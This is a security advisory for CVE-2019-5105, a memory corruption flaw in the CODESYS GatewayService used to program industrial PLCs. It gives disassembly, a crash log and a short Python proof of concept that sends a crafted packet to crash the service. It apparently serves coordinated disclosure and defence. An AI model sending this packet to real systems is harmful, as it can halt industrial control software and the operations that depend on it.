CVE-2019-5105
An exploitable memory corruption vulnerability exists in the Name Service Client functionality of 3S-Smart Software Solutions CODESYS GatewayService. A specially crafted packet can cause a large memcpy, resulting in an access violation and termination of the process. An attacker can send a packet to a device running the GatewayService.exe to trigger this vulnerability. All variants of the CODESYS V3 products in all versions prior V3.5.16.10 containing the CmpRouter or CmpRouterEmbedded component are affected, regardless of the CPU type or operating system: CODESYS Control for BeagleBone, CODESYS Control for emPC-A/iMX6, CODESYS Control for IOT2000, CODESYS Control for Linux, CODESYS Control for PLCnext, CODESYS Control for PFC100, CODESYS Control for PFC200, CODESYS Control for Raspberry Pi, CODESYS Control RTE V3, CODESYS Control RTE V3 (for Beckhoff CX), CODESYS Control Win V3 (also part of the CODESYS Development System setup), CODESYS Control V3 Runtime System Toolkit, CODESYS V3 Embedded Target Visu Toolkit, CODESYS V3 Remote Target Visu Toolkit, CODESYS V3 Safety SIL2, CODESYS Edge Gateway V3, CODESYS Gateway V3, CODESYS HMI V3, CODESYS OPC Server V3, CODESYS PLCHandler SDK, CODESYS V3 Simulation Runtime (part of the CODESYS Development System).
3S-Smart Software Solutions CODESYS 3.5.15.0
7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer
3S-Smart Software Solutions CODESYS is licensed to vendors who are creating PLCs, or can be purchased directly from 3S-Smart Software Solutions for directly supported platforms. This software is used to turn any device into a soft PLC. The wide range of support allows easy adoption for industrial applications, being able to run on Windows, Linux, or even bare metal. The GatewayService.exe is required to be able to talk to the end device such as a PLC, and will be running on any Windows device that is being used to program or monitor a CODESYS runtime.
This bug manifests itself within RouterHandleData
, starting with the RouterGetBlkAddresses
function. This function extracts values from the received packet from the lowest 3 bits of byte 1, as well as the nibbles in byte 5. These offsets are calculated with a zero-indexed notation where 0xC5 is considered byte 0. These values are not verified to be less than the total length of the packet, and because they are not checked prior to usage within the memcpy
it allows for the possibility of a integer underflow directly into the size
parameter of memcpy
.
// -------------
// This is within RouterGetBlkAddresses where the information is extracted from the received packet
00439e28 8b4510 mov eax, dword [ebp+0x10 {arg3}]
00439e2b 8b4808 mov ecx, dword [eax+0x8]
00439e2e 8b5514 mov edx, dword [ebp+0x14 {arg4}]
00439e31 034a08 add ecx, dword [edx+0x8]
00439e34 8b45f8 mov eax, dword [ebp-0x8 {byte1LowerThreeBitsSHL1}]
// ALL byte values are calculated using a zero-indexed notation where byte 0 is the magic 0xC5 header.
// ((Byte 1 lower 3 bits * 2) + (Upper nibble of byte 5 + lower nibble of byte
// 5)) * 2
00439e37 8d0c48 lea ecx, [eax+ecx*2]
00439e3a 8b5518 mov edx, dword [ebp+0x18 {arg5}]
// Store the calculated value
00439e3d 890a mov dword [edx], ecx
// -------------
// -------------
// BUG FIRST MANIFESTS HERE
0043b441 8b4d08 mov ecx, dword [ebp+0x8 {arg3}]
0043b444 8b551c mov edx, dword [ebp+0x1c {arg8}]
0043b447 8b4104 mov eax, dword [ecx+0x4]
0043b44a 2b02 sub eax, dword [edx]
0043b44c 8985c8fdffff mov dword [ebp-0x238 {var_23c_1}], eax
// END BUG
// -------------
// -------------
// UNDERFLOW IS PLACED INTO MEMCPY SIZE UNCHECKED
0043b7ec 8b8dc8fdffff mov ecx, dword [ebp-0x238 {var_23c_1}]
0043b7f2 51 push ecx {var_278_6}
0043b7f3 8b5508 mov edx, dword [ebp+0x8 {arg3}]
0043b7f6 8b02 mov eax, dword [edx]
0043b7f8 8b4d1c mov ecx, dword [ebp+0x1c {arg8}]
0043b7fb 0301 add eax, dword [ecx]
// HEAP ADDRESS SOURCE
0043b7fd 50 push eax {var_27c_9}
0043b7fe 8b95f8fdffff mov edx, dword [ebp-0x208 {var_20c_1}]
0043b804 8d8415fcfdffff lea eax, [ebp+edx-0x204] {__saved_ebp}
0043b80b 0385e4fdffff add eax, dword [ebp-0x21c {var_220_2}]
0043b811 0385c0fdffff add eax, dword [ebp-0x240 {var_244_2}]
0043b817 0385f0fdffff add eax, dword [ebp-0x210 {var_214}]
// STACK ADDRESS DESTINATION
0043b81d 50 push eax {var_280_9}
// CRASHING MEMCPY
0043b81e e8c7860300 call memcpy
// -------------
(2ae0.2a3c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DBGHELP: C:\Program Files (x86)\WAGO Software\e!COCKPIT\3S CODESYS\GatewayPLC\GatewayService.pdb - file not found
DBGHELP: E:\jenkins\workspace\3.5.13.x\BUILD_V3.5.13.x_RTS_Win_x86\CodesysSpV3\CodesysSpV3\Platforms\Windows\GatewayService\Release\Win32\GatewayService\GatewayService.pdb - file not found
DBGHELP: GatewayService - no symbols loaded
eax=0ab34c15 ebx=011f78f0 ecx=fffffc15 edx=fffffffd esi=0ab35000 edi=087efb60
eip=750ecf5e esp=087ef6c4 ebp=087ef94c iopl=0 nv up ei ng nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287
VCRUNTIME140!memcpy+0x4e:
750ecf5e f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
Ensure that the target host and port are correctly filled out. Additionally if testing remotely, ensure that a firewall is not blocking traffic to the port specified. This can be exploited remotely as well as locally. All bytes that are capitalized within the packet are unrelated to the crash.
import socket
from struct import pack
HOST = '192.168.1.10'
PORT = 11743
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
crash = bytearray.fromhex("000117e839000000c5b3AAAAAAbcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
s.sendall(crash)
s.close()
if __name__ == "__main__":
main()
2019-09-19 - Initial Contact
2019-09-23 - Vendor Disclosure
2020-03-25 - Vendor Patched; Public Release
Discovered by Carl Hurd of Cisco Talos.